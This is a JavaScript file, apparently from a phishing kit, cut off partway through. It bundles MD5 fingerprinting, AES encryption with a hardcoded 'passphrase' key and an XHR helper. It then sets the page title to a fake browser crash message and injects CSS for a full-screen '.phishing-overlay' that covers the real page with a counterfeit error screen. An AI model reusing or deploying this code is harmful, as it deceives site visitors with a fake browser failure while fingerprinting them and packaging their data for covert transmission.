/**
     * ============================================================================
     * [1] MD5 Hash Function
     * Generates MD5 hash for fingerprint identification
     * ============================================================================
     */
    var MD5 = function (string) {
        function RotateLeft(lValue, iShiftBits) {
            return (lValue<<iShiftBits) | (lValue>>>(32-iShiftBits));
        }
        function AddUnsigned(lX,lY) {
            var lX4,lY4,lX8,lY8,lResult;
            lX8 = (lX & 0x80000000);
            lY8 = (lY & 0x80000000);
            lX4 = (lX & 0x40000000);
            lY4 = (lY & 0x40000000);
            lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF);
            if (lX4 & lY4) {
                return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
            }
            if (lX4 | lY4) {
                if (lResult & 0x40000000) {
                    return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
                } else {
                    return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
                }
            } else {
                return (lResult ^ lX8 ^ lY8);
            }
        }
        function F(x,y,z) { return (x & y) | ((~x) & z); }
        function G(x,y,z) { return (x & z) | (y & (~z)); }
        function H(x,y,z) { return (x ^ y ^ z); }
        function I(x,y,z) { return (y ^ (x | (~z))); }
        function FF(a,b,c,d,x,s,ac) {
            a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac));
            return AddUnsigned(RotateLeft(a, s), b);
        };
        function GG(a,b,c,d,x,s,ac) {
            a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac));
            return AddUnsigned(RotateLeft(a, s), b);
        };
        function HH(a,b,c,d,x,s,ac) {
            a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac));
            return AddUnsigned(RotateLeft(a, s), b);
        };
        function II(a,b,c,d,x,s,ac) {
            a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac));
            return AddUnsigned(RotateLeft(a, s), b);
        };
        function ConvertToWordArray(string) {
            var lWordCount;
            var lMessageLength = string.length;
            var lNumberOfWords_temp1=lMessageLength + 8;
            var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64;
            var lNumberOfWords = (lNumberOfWords_temp2+1)*16;
            var lWordArray=Array(lNumberOfWords-1);
            var lBytePosition = 0;
            var lByteCount = 0;
            while ( lByteCount < lMessageLength ) {
                lWordCount = (lByteCount-(lByteCount % 4))/4;
                lBytePosition = (lByteCount % 4)*8;
                lWordArray[lWordCount] = (lWordArray[lWordCount] | (string.charCodeAt(lByteCount)<<lBytePosition));
                lByteCount++;
            }
            lWordCount = (lByteCount-(lByteCount % 4))/4;
            lBytePosition = (lByteCount % 4)*8;
            lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80<<lBytePosition);
            lWordArray[lNumberOfWords-2] = lMessageLength<<3;
            lWordArray[lNumberOfWords-1] = lMessageLength>>>29;
            return lWordArray;
        };
        function WordToHex(lValue) {
            var WordToHexValue="",WordToHexValue_temp="",lByte,lCount;
            for (lCount = 0;lCount<=3;lCount++) {
                lByte = (lValue>>>(lCount*8)) & 255;
                WordToHexValue_temp = "0" + lByte.toString(16);
                WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2);
            }
            return WordToHexValue;
        };
        function Utf8Encode(string) {
            string = string.replace(/\r\n/g,"\n");
            var utftext = "";
            for (var n = 0; n < string.length; n++) {
                var c = string.charCodeAt(n);
                if (c < 128) {
                    utftext += String.fromCharCode(c);
                }
                else if((c > 127) && (c < 2048)) {
                    utftext += String.fromCharCode((c >> 6) | 192);
                    utftext += String.fromCharCode((c & 63) | 128);
                }
                else {
                    utftext += String.fromCharCode((c >> 12) | 224);
                    utftext += String.fromCharCode(((c >> 6) & 63) | 128);
                    utftext += String.fromCharCode((c & 63) | 128);
                }
            }
            return utftext;
        };
        var x=Array();
        var k,AA,BB,CC,DD,a,b,c,d;
        var S11=7, S12=12, S13=17, S14=22;
        var S21=5, S22=9 , S23=14, S24=20;
        var S31=4, S32=11, S33=16, S34=23;
        var S41=6, S42=10, S43=15, S44=21;
        string = Utf8Encode(string);
        x = ConvertToWordArray(string);
        a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476;
        for (k=0;k<x.length;k+=16) {
            AA=a; BB=b; CC=c; DD=d;
            a=FF(a,b,c,d,x[k+0], S11,0xD76AA478);
            d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756);
            c=FF(c,d,a,b,x[k+2], S13,0x242070DB);
            b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE);
            a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF);
            d=FF(d,a,b,c,x[k+5], S12,0x4787C62A);
            c=FF(c,d,a,b,x[k+6], S13,0xA8304613);
            b=FF(b,c,d,a,x[k+7], S14,0xFD469501);
            a=FF(a,b,c,d,x[k+8], S11,0x698098D8);
            d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF);
            c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1);
            b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE);
            a=FF(a,b,c,d,x[k+12],S11,0x6B901122);
            d=FF(d,a,b,c,x[k+13],S12,0xFD987193);
            c=FF(c,d,a,b,x[k+14],S13,0xA679438E);
            b=FF(b,c,d,a,x[k+15],S14,0x49B40821);
            a=GG(a,b,c,d,x[k+1], S21,0xF61E2562);
            d=GG(d,a,b,c,x[k+6], S22,0xC040B340);
            c=GG(c,d,a,b,x[k+11],S23,0x265E5A51);
            b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA);
            a=GG(a,b,c,d,x[k+5], S21,0xD62F105D);
            d=GG(d,a,b,c,x[k+10],S22,0x2441453);
            c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681);
            b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8);
            a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6);
            d=GG(d,a,b,c,x[k+14],S22,0xC33707D6);
            c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87);
            b=GG(b,c,d,a,x[k+8], S24,0x455A14ED);
            a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905);
            d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8);
            c=GG(c,d,a,b,x[k+7], S23,0x676F02D9);
            b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A);
            a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942);
            d=HH(d,a,b,c,x[k+8], S32,0x8771F681);
            c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122);
            b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C);
            a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44);
            d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9);
            c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60);
            b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70);
            a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6);
            d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA);
            c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085);
            b=HH(b,c,d,a,x[k+6], S34,0x4881D05);
            a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039);
            d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5);
            c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8);
            b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665);
            a=II(a,b,c,d,x[k+0], S41,0xF4292244);
            d=II(d,a,b,c,x[k+7], S42,0x432AFF97);
            c=II(c,d,a,b,x[k+14],S43,0xAB9423A7);
            b=II(b,c,d,a,x[k+5], S44,0xFC93A039);
            a=II(a,b,c,d,x[k+12],S41,0x655B59C3);
            d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92);
            c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D);
            b=II(b,c,d,a,x[k+1], S44,0x85845DD1);
            a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F);
            d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0);
            c=II(c,d,a,b,x[k+6], S43,0xA3014314);
            b=II(b,c,d,a,x[k+13],S44,0x4E0811A1);
            a=II(a,b,c,d,x[k+4], S41,0xF7537E82);
            d=II(d,a,b,c,x[k+11],S42,0xBD3AF235);
            c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB);
            b=II(b,c,d,a,x[k+9], S44,0xEB86D391);
            a=AddUnsigned(a,AA);
            b=AddUnsigned(b,BB);
            c=AddUnsigned(c,CC);
            d=AddUnsigned(d,DD);
        }
        var temp = WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d);
        return temp.toLowerCase();
    }

    /**
     * ============================================================================
     * [2] CryptoJS AES Encryption Library
     * Provides AES encryption for secure data transmission
     * ============================================================================
     */
    var CryptoJS=CryptoJS||function(u,p){var d={},l=d.lib={},s=function(){},t=l.Base={extend:function(a){s.prototype=this;var c=new s;a&&c.mixIn(a);c.hasOwnProperty("init")||(c.init=function(){c.$super.init.apply(this,arguments)});c.init.prototype=c;c.$super=this;return c},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var c in a)a.hasOwnProperty(c)&&(this[c]=a[c]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},
    r=l.WordArray=t.extend({init:function(a,c){a=this.words=a||[];this.sigBytes=c!=p?c:4*a.length},toString:function(a){return(a||v).stringify(this)},concat:function(a){var c=this.words,e=a.words,j=this.sigBytes;a=a.sigBytes;this.clamp();if(j%4)for(var k=0;k<a;k++)c[j+k>>>2]|=(e[k>>>2]>>>24-8*(k%4)&255)<<24-8*((j+k)%4);else if(65535<e.length)for(k=0;k<a;k+=4)c[j+k>>>2]=e[k>>>2];else c.push.apply(c,e);this.sigBytes+=a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]&=4294967295<<
    32-8*(c%4);a.length=u.ceil(c/4)},clone:function(){var a=t.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var c=[],e=0;e<a;e+=4)c.push(4294967296*u.random()|0);return new r.init(c,a)}}),w=d.enc={},v=w.Hex={stringify:function(a){var c=a.words;a=a.sigBytes;for(var e=[],j=0;j<a;j++){var k=c[j>>>2]>>>24-8*(j%4)&255;e.push((k>>>4).toString(16));e.push((k&15).toString(16))}return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j<c;j+=2)e[j>>>3]|=parseInt(a.substr(j,
    2),16)<<24-4*(j%8);return new r.init(e,c/2)}},b=w.Latin1={stringify:function(a){var c=a.words;a=a.sigBytes;for(var e=[],j=0;j<a;j++)e.push(String.fromCharCode(c[j>>>2]>>>24-8*(j%4)&255));return e.join("")},parse:function(a){for(var c=a.length,e=[],j=0;j<c;j++)e[j>>>2]|=(a.charCodeAt(j)&255)<<24-8*(j%4);return new r.init(e,c)}},x=w.Utf8={stringify:function(a){try{return decodeURIComponent(escape(b.stringify(a)))}catch(c){throw Error("Malformed UTF-8 data");}},parse:function(a){return b.parse(unescape(encodeURIComponent(a)))}},
    q=l.BufferedBlockAlgorithm=t.extend({reset:function(){this._data=new r.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=x.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var c=this._data,e=c.words,j=c.sigBytes,k=this.blockSize,b=j/(4*k),b=a?u.ceil(b):u.max((b|0)-this._minBufferSize,0);a=b*k;j=u.min(4*a,j);if(a){for(var q=0;q<a;q+=k)this._doProcessBlock(e,q);q=e.splice(0,a);c.sigBytes-=j}return new r.init(q,j)},clone:function(){var a=t.clone.call(this);
    a._data=this._data.clone();return a},_minBufferSize:0});l.Hasher=q.extend({cfg:t.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){q.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(b,e){return(new a.init(e)).finalize(b)}},_createHmacHelper:function(a){return function(b,e){return(new n.HMAC.init(a,
    e)).finalize(b)}}});var n=d.algo={};return d}(Math);
    (function(){var u=CryptoJS,p=u.lib.WordArray;u.enc.Base64={stringify:function(d){var l=d.words,p=d.sigBytes,t=this._map;d.clamp();d=[];for(var r=0;r<p;r+=3)for(var w=(l[r>>>2]>>>24-8*(r%4)&255)<<16|(l[r+1>>>2]>>>24-8*((r+1)%4)&255)<<8|l[r+2>>>2]>>>24-8*((r+2)%4)&255,v=0;4>v&&r+0.75*v<p;v++)d.push(t.charAt(w>>>6*(3-v)&63));if(l=t.charAt(64))for(;d.length%4;)d.push(l);return d.join("")},parse:function(d){var l=d.length,s=this._map,t=s.charAt(64);t&&(t=d.indexOf(t),-1!=t&&(l=t));for(var t=[],r=0,w=0;w<
    l;w++)if(w%4){var v=s.indexOf(d.charAt(w-1))<<2*(w%4),b=s.indexOf(d.charAt(w))>>>6-2*(w%4);t[r>>>2]|=(v|b)<<24-8*(r%4);r++}return p.create(t,r)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="}})();
    (function(u){function p(b,n,a,c,e,j,k){b=b+(n&a|~n&c)+e+k;return(b<<j|b>>>32-j)+n}function d(b,n,a,c,e,j,k){b=b+(n&c|a&~c)+e+k;return(b<<j|b>>>32-j)+n}function l(b,n,a,c,e,j,k){b=b+(n^a^c)+e+k;return(b<<j|b>>>32-j)+n}function s(b,n,a,c,e,j,k){b=b+(a^(n|~c))+e+k;return(b<<j|b>>>32-j)+n}for(var t=CryptoJS,r=t.lib,w=r.WordArray,v=r.Hasher,r=t.algo,b=[],x=0;64>x;x++)b[x]=4294967296*u.abs(u.sin(x+1))|0;r=r.MD5=v.extend({_doReset:function(){this._hash=new w.init([1732584193,4023233417,2562383102,271733878])},
    _doProcessBlock:function(q,n){for(var a=0;16>a;a++){var c=n+a,e=q[c];q[c]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360}var a=this._hash.words,c=q[n+0],e=q[n+1],j=q[n+2],k=q[n+3],z=q[n+4],r=q[n+5],t=q[n+6],w=q[n+7],v=q[n+8],A=q[n+9],B=q[n+10],C=q[n+11],u=q[n+12],D=q[n+13],E=q[n+14],x=q[n+15],f=a[0],m=a[1],g=a[2],h=a[3],f=p(f,m,g,h,c,7,b[0]),h=p(h,f,m,g,e,12,b[1]),g=p(g,h,f,m,j,17,b[2]),m=p(m,g,h,f,k,22,b[3]),f=p(f,m,g,h,z,7,b[4]),h=p(h,f,m,g,r,12,b[5]),g=p(g,h,f,m,t,17,b[6]),m=p(m,g,h,f,w,22,b[7]),
    f=p(f,m,g,h,v,7,b[8]),h=p(h,f,m,g,A,12,b[9]),g=p(g,h,f,m,B,17,b[10]),m=p(m,g,h,f,C,22,b[11]),f=p(f,m,g,h,u,7,b[12]),h=p(h,f,m,g,D,12,b[13]),g=p(g,h,f,m,E,17,b[14]),m=p(m,g,h,f,x,22,b[15]),f=d(f,m,g,h,e,5,b[16]),h=d(h,f,m,g,t,9,b[17]),g=d(g,h,f,m,C,14,b[18]),m=d(m,g,h,f,c,20,b[19]),f=d(f,m,g,h,r,5,b[20]),h=d(h,f,m,g,B,9,b[21]),g=d(g,h,f,m,x,14,b[22]),m=d(m,g,h,f,z,20,b[23]),f=d(f,m,g,h,A,5,b[24]),h=d(h,f,m,g,E,9,b[25]),g=d(g,h,f,m,k,14,b[26]),m=d(m,g,h,f,v,20,b[27]),f=d(f,m,g,h,D,5,b[28]),h=d(h,f,
    m,g,j,9,b[29]),g=d(g,h,f,m,w,14,b[30]),m=d(m,g,h,f,u,20,b[31]),f=l(f,m,g,h,r,4,b[32]),h=l(h,f,m,g,v,11,b[33]),g=l(g,h,f,m,C,16,b[34]),m=l(m,g,h,f,E,23,b[35]),f=l(f,m,g,h,e,4,b[36]),h=l(h,f,m,g,z,11,b[37]),g=l(g,h,f,m,w,16,b[38]),m=l(m,g,h,f,B,23,b[39]),f=l(f,m,g,h,D,4,b[40]),h=l(h,f,m,g,c,11,b[41]),g=l(g,h,f,m,k,16,b[42]),m=l(m,g,h,f,t,23,b[43]),f=l(f,m,g,h,A,4,b[44]),h=l(h,f,m,g,u,11,b[45]),g=l(g,h,f,m,x,16,b[46]),m=l(m,g,h,f,j,23,b[47]),f=s(f,m,g,h,c,6,b[48]),h=s(h,f,m,g,w,10,b[49]),g=s(g,h,f,m,
    E,15,b[50]),m=s(m,g,h,f,r,21,b[51]),f=s(f,m,g,h,u,6,b[52]),h=s(h,f,m,g,k,10,b[53]),g=s(g,h,f,m,B,15,b[54]),m=s(m,g,h,f,e,21,b[55]),f=s(f,m,g,h,v,6,b[56]),h=s(h,f,m,g,x,10,b[57]),g=s(g,h,f,m,t,15,b[58]),m=s(m,g,h,f,D,21,b[59]),f=s(f,m,g,h,z,6,b[60]),h=s(h,f,m,g,C,10,b[61]),g=s(g,h,f,m,j,15,b[62]),m=s(m,g,h,f,A,21,b[63]);a[0]=a[0]+f|0;a[1]=a[1]+m|0;a[2]=a[2]+g|0;a[3]=a[3]+h|0},_doFinalize:function(){var b=this._data,n=b.words,a=8*this._nDataBytes,c=8*b.sigBytes;n[c>>>5]|=128<<24-c%32;var e=u.floor(a/
    4294967296);n[(c+64>>>9<<4)+15]=(e<<8|e>>>24)&16711935|(e<<24|e>>>8)&4278255360;n[(c+64>>>9<<4)+14]=(a<<8|a>>>24)&16711935|(a<<24|a>>>8)&4278255360;b.sigBytes=4*(n.length+1);this._process();b=this._hash;n=b.words;for(a=0;4>a;a++)c=n[a],n[a]=(c<<8|c>>>24)&16711935|(c<<24|c>>>8)&4278255360;return b},clone:function(){var b=v.clone.call(this);b._hash=this._hash.clone();return b}});t.MD5=v._createHelper(r);t.HmacMD5=v._createHmacHelper(r)})(Math);
    (function(){var u=CryptoJS,p=u.lib,d=p.Base,l=p.WordArray,p=u.algo,s=p.EvpKDF=d.extend({cfg:d.extend({keySize:4,hasher:p.MD5,iterations:1}),init:function(d){this.cfg=this.cfg.extend(d)},compute:function(d,r){for(var p=this.cfg,s=p.hasher.create(),b=l.create(),u=b.words,q=p.keySize,p=p.iterations;u.length<q;){n&&s.update(n);var n=s.update(d).finalize(r);s.reset();for(var a=1;a<p;a++)n=s.finalize(n),s.reset();b.concat(n)}b.sigBytes=4*q;return b}});u.EvpKDF=function(d,l,p){return s.create(p).compute(d,
    l)}})();
    CryptoJS.lib.Cipher||function(u){var p=CryptoJS,d=p.lib,l=d.Base,s=d.WordArray,t=d.BufferedBlockAlgorithm,r=p.enc.Base64,w=p.algo.EvpKDF,v=d.Cipher=t.extend({cfg:l.extend(),createEncryptor:function(e,a){return this.create(this._ENC_XFORM_MODE,e,a)},createDecryptor:function(e,a){return this.create(this._DEC_XFORM_MODE,e,a)},init:function(e,a,b){this.cfg=this.cfg.extend(b);this._xformMode=e;this._key=a;this.reset()},reset:function(){t.reset.call(this);this._doReset()},process:function(e){this._append(e);return this._process()},
    finalize:function(e){e&&this._append(e);return this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(e){return{encrypt:function(b,k,d){return("string"==typeof k?c:a).encrypt(e,b,k,d)},decrypt:function(b,k,d){return("string"==typeof k?c:a).decrypt(e,b,k,d)}}}});d.StreamCipher=v.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var b=p.mode={},x=function(e,a,b){var c=this._iv;c?this._iv=u:c=this._prevBlock;for(var d=0;d<b;d++)e[a+d]^=
    c[d]},q=(d.BlockCipherMode=l.extend({createEncryptor:function(e,a){return this.Encryptor.create(e,a)},createDecryptor:function(e,a){return this.Decryptor.create(e,a)},init:function(e,a){this._cipher=e;this._iv=a}})).extend();q.Encryptor=q.extend({processBlock:function(e,a){var b=this._cipher,c=b.blockSize;x.call(this,e,a,c);b.encryptBlock(e,a);this._prevBlock=e.slice(a,a+c)}});q.Decryptor=q.extend({processBlock:function(e,a){var b=this._cipher,c=b.blockSize,d=e.slice(a,a+c);b.decryptBlock(e,a);x.call(this,
    e,a,c);this._prevBlock=d}});b=b.CBC=q;q=(p.pad={}).Pkcs7={pad:function(a,b){for(var c=4*b,c=c-a.sigBytes%c,d=c<<24|c<<16|c<<8|c,l=[],n=0;n<c;n+=4)l.push(d);c=s.create(l,c);a.concat(c)},unpad:function(a){a.sigBytes-=a.words[a.sigBytes-1>>>2]&255}};d.BlockCipher=v.extend({cfg:v.cfg.extend({mode:b,padding:q}),reset:function(){v.reset.call(this);var a=this.cfg,b=a.iv,a=a.mode;if(this._xformMode==this._ENC_XFORM_MODE)var c=a.createEncryptor;else c=a.createDecryptor,this._minBufferSize=1;this._mode=c.call(a,
    this,b&&b.words)},_doProcessBlock:function(a,b){this._mode.processBlock(a,b)},_doFinalize:function(){var a=this.cfg.padding;if(this._xformMode==this._ENC_XFORM_MODE){a.pad(this._data,this.blockSize);var b=this._process(!0)}else b=this._process(!0),a.unpad(b);return b},blockSize:4});var n=d.CipherParams=l.extend({init:function(a){this.mixIn(a)},toString:function(a){return(a||this.formatter).stringify(this)}}),b=(p.format={}).OpenSSL={stringify:function(a){var b=a.ciphertext;a=a.salt;return(a?s.create([1398893684,
    1701076831]).concat(a).concat(b):b).toString(r)},parse:function(a){a=r.parse(a);var b=a.words;if(1398893684==b[0]&&1701076831==b[1]){var c=s.create(b.slice(2,4));b.splice(0,4);a.sigBytes-=16}return n.create({ciphertext:a,salt:c})}},a=d.SerializableCipher=l.extend({cfg:l.extend({format:b}),encrypt:function(a,b,c,d){d=this.cfg.extend(d);var l=a.createEncryptor(c,d);b=l.finalize(b);l=l.cfg;return n.create({ciphertext:b,key:c,iv:l.iv,algorithm:a,mode:l.mode,padding:l.padding,blockSize:a.blockSize,formatter:d.format})},
    decrypt:function(a,b,c,d){d=this.cfg.extend(d);b=this._parse(b,d.format);return a.createDecryptor(c,d).finalize(b.ciphertext)},_parse:function(a,b){return"string"==typeof a?b.parse(a,this):a}}),p=(p.kdf={}).OpenSSL={execute:function(a,b,c,d){d||(d=s.random(8));a=w.create({keySize:b+c}).compute(a,d);c=s.create(a.words.slice(b),4*c);a.sigBytes=4*b;return n.create({key:a,iv:c,salt:d})}},c=d.PasswordBasedCipher=a.extend({cfg:a.cfg.extend({kdf:p}),encrypt:function(b,c,d,l){l=this.cfg.extend(l);d=l.kdf.execute(d,
    b.keySize,b.ivSize);l.iv=d.iv;b=a.encrypt.call(this,b,c,d.key,l);b.mixIn(d);return b},decrypt:function(b,c,d,l){l=this.cfg.extend(l);c=this._parse(c,l.format);d=l.kdf.execute(d,b.keySize,b.ivSize,c.salt);l.iv=d.iv;return a.decrypt.call(this,b,c,d.key,l)}})}();
    (function(){for(var u=CryptoJS,p=u.lib.BlockCipher,d=u.algo,l=[],s=[],t=[],r=[],w=[],v=[],b=[],x=[],q=[],n=[],a=[],c=0;256>c;c++)a[c]=128>c?c<<1:c<<1^283;for(var e=0,j=0,c=0;256>c;c++){var k=j^j<<1^j<<2^j<<3^j<<4,k=k>>>8^k&255^99;l[e]=k;s[k]=e;var z=a[e],F=a[z],G=a[F],y=257*a[k]^16843008*k;t[e]=y<<24|y>>>8;r[e]=y<<16|y>>>16;w[e]=y<<8|y>>>24;v[e]=y;y=16843009*G^65537*F^257*z^16843008*e;b[k]=y<<24|y>>>8;x[k]=y<<16|y>>>16;q[k]=y<<8|y>>>24;n[k]=y;e?(e=z^a[a[a[G^z]]],j^=a[a[j]]):e=j=1}var H=[0,1,2,4,8,
    16,32,64,128,27,54],d=d.AES=p.extend({_doReset:function(){for(var a=this._key,c=a.words,d=a.sigBytes/4,a=4*((this._nRounds=d+6)+1),e=this._keySchedule=[],j=0;j<a;j++)if(j<d)e[j]=c[j];else{var k=e[j-1];j%d?6<d&&4==j%d&&(k=l[k>>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255]):(k=k<<8|k>>>24,k=l[k>>>24]<<24|l[k>>>16&255]<<16|l[k>>>8&255]<<8|l[k&255],k^=H[j/d|0]<<24);e[j]=e[j-d]^k}c=this._invKeySchedule=[];for(d=0;d<a;d++)j=a-d,k=d%4?e[j]:e[j-4],c[d]=4>d||4>=j?k:b[l[k>>>24]]^x[l[k>>>16&255]]^q[l[k>>>
    8&255]]^n[l[k&255]]},encryptBlock:function(a,b){this._doCryptBlock(a,b,this._keySchedule,t,r,w,v,l)},decryptBlock:function(a,c){var d=a[c+1];a[c+1]=a[c+3];a[c+3]=d;this._doCryptBlock(a,c,this._invKeySchedule,b,x,q,n,s);d=a[c+1];a[c+1]=a[c+3];a[c+3]=d},_doCryptBlock:function(a,b,c,d,e,j,l,f){for(var m=this._nRounds,g=a[b]^c[0],h=a[b+1]^c[1],k=a[b+2]^c[2],n=a[b+3]^c[3],p=4,r=1;r<m;r++)var q=d[g>>>24]^e[h>>>16&255]^j[k>>>8&255]^l[n&255]^c[p++],s=d[h>>>24]^e[k>>>16&255]^j[n>>>8&255]^l[g&255]^c[p++],t=
    d[k>>>24]^e[n>>>16&255]^j[g>>>8&255]^l[h&255]^c[p++],n=d[n>>>24]^e[g>>>16&255]^j[h>>>8&255]^l[k&255]^c[p++],g=q,h=s,k=t;q=(f[g>>>24]<<24|f[h>>>16&255]<<16|f[k>>>8&255]<<8|f[n&255])^c[p++];s=(f[h>>>24]<<24|f[k>>>16&255]<<16|f[n>>>8&255]<<8|f[g&255])^c[p++];t=(f[k>>>24]<<24|f[n>>>16&255]<<16|f[g>>>8&255]<<8|f[h&255])^c[p++];n=(f[n>>>24]<<24|f[g>>>16&255]<<16|f[h>>>8&255]<<8|f[k&255])^c[p++];a[b]=q;a[b+1]=s;a[b+2]=t;a[b+3]=n},keySize:8});u.AES=p._createHelper(d)})();

    /**
     * AES JSON format for encryption output
     * @type {Object}
     */
    var CryptoJSAesJson = {
        stringify: function (cipherParams) {
            var j = {ct: cipherParams.ciphertext.toString(CryptoJS.enc.Base64)};
            if (cipherParams.iv) j.iv = cipherParams.iv.toString();
            if (cipherParams.salt) j.s = cipherParams.salt.toString();
            return JSON.stringify(j);
        },
        parse: function (jsonStr) {
            var j = JSON.parse(jsonStr);
            var cipherParams = CryptoJS.lib.CipherParams.create({ciphertext: CryptoJS.enc.Base64.parse(j.ct)});
            if (j.iv) cipherParams.iv = CryptoJS.enc.Hex.parse(j.iv)
            if (j.s) cipherParams.salt = CryptoJS.enc.Hex.parse(j.s)
            return cipherParams;
        }
    }

    /**
     * Encrypts a string using AES encryption
     * @param {string} encrypt_string - The string to encrypt
     * @returns {string} - The encrypted string
     */
    function encrypted(encrypt_string){
        return CryptoJS.AES.encrypt(JSON.stringify(encrypt_string), "passphrase", {format: CryptoJSAesJson}).toString();
    }

    /**
     * ============================================================================
     * [3] Base64 Encoding Utility
     * ============================================================================
     */
    let Base64 = {
        encode(str) {
            return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
                function toSolidBytes(match, p1) {
                    return String.fromCharCode('0x' + p1);
                }));
        },
        decode(str) {
            return decodeURIComponent(atob(str).split('').map(function (c) {
                return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
            }).join(''));
        }
    };

    /**
     * ============================================================================
     * [4] XMLHttpRequest Utility
     * Creates XMLHttpRequest object with cross-browser compatibility
     * ============================================================================
     */
    var xmlHttp;
    function createXmlHttp() {
        if (window.XMLHttpRequest) {
            xmlHttp = new XMLHttpRequest()
        } else {
            var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
            for (var n = 0; n < MSXML.length; n++) {
                try {
                    xmlHttp = new ActiveXObject(MSXML[n]);
                    break
                } catch(e) {}
            }
        }
    }

    /**
     * ============================================================================
     * [5] Dynamic Style and Title Injection Module
     * Injects CSS styles and page title dynamically via JavaScript
     * ============================================================================
     */

    /**
     * Injects the page title dynamically
     */
    function injectTitle() {
        document.title = '喔唷，崩溃啦！';
    }

    /**
     * Injects CSS styles dynamically into the document head
     */
    function injectStyles() {
        var style = document.createElement('style');
        style.type = 'text/css';
        style.innerHTML = 
            /**
             * Fullscreen overlay layer - covers the entire viewport
             * Uses position:fixed + z-index:2147483647 to stay on top of all elements
             */
            '.phishing-overlay {' +
                'position: fixed;' +
                'top: 0;' +
                'left: 0;' +
                'width: 100%;' +
                'height: 100%;' +
                'z-index: 2147483647;' +
                'background-color: #fff;' +
                'overflow: auto;' +
                'display: flex;' +
                'justify-content: center;' +
                'align-items: center;' +
                'font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Tahoma, sans-serif;' +
                'color: #202124;' +
                'margin: 0;' +
                'padding: 0;' +
            '}' +
            /**
             * Inner container - centered content area within the overlay
             */
            '.phishing-overlay .container {' +
                'max-width: 600px;' +
                'padding: 20px;' +
            '}' +
            '.phishing-overlay .icon {' +
                'margin-bottom: 24px;' +
            '}' +
            '.phishing-overlay h1 {' +
                'font-size: 24px;' +
                'font-weight: 500;' +
                'margin-bottom: 16px;' +
                'color: #202124;' +
            '}' +
            '.phishing-overlay p {' +
                'font-size: 15px;' +
                'line-height: 1.6;' +
                'color: #5f6368;' +
                'margin-bottom: 12px;' +
            '}' +
            '.phishing-overlay .error-code {' +
                'font-size: 13px;' +
                'color: #5f6368;' +
                'margin-top: 24px;' +
                'margin-bottom: 24px;' +
                'font-family: monospace;' +
            '}' +
            '.phishing-overlay .buttons {' +
                'margin-top: 32px;' +
            '}' +
            '.phishing-overlay button {' +
                'background-color: #1a73e8;' +
                'color: white;' +
                'border: none;' +
                'padding: 8px 16px;' +
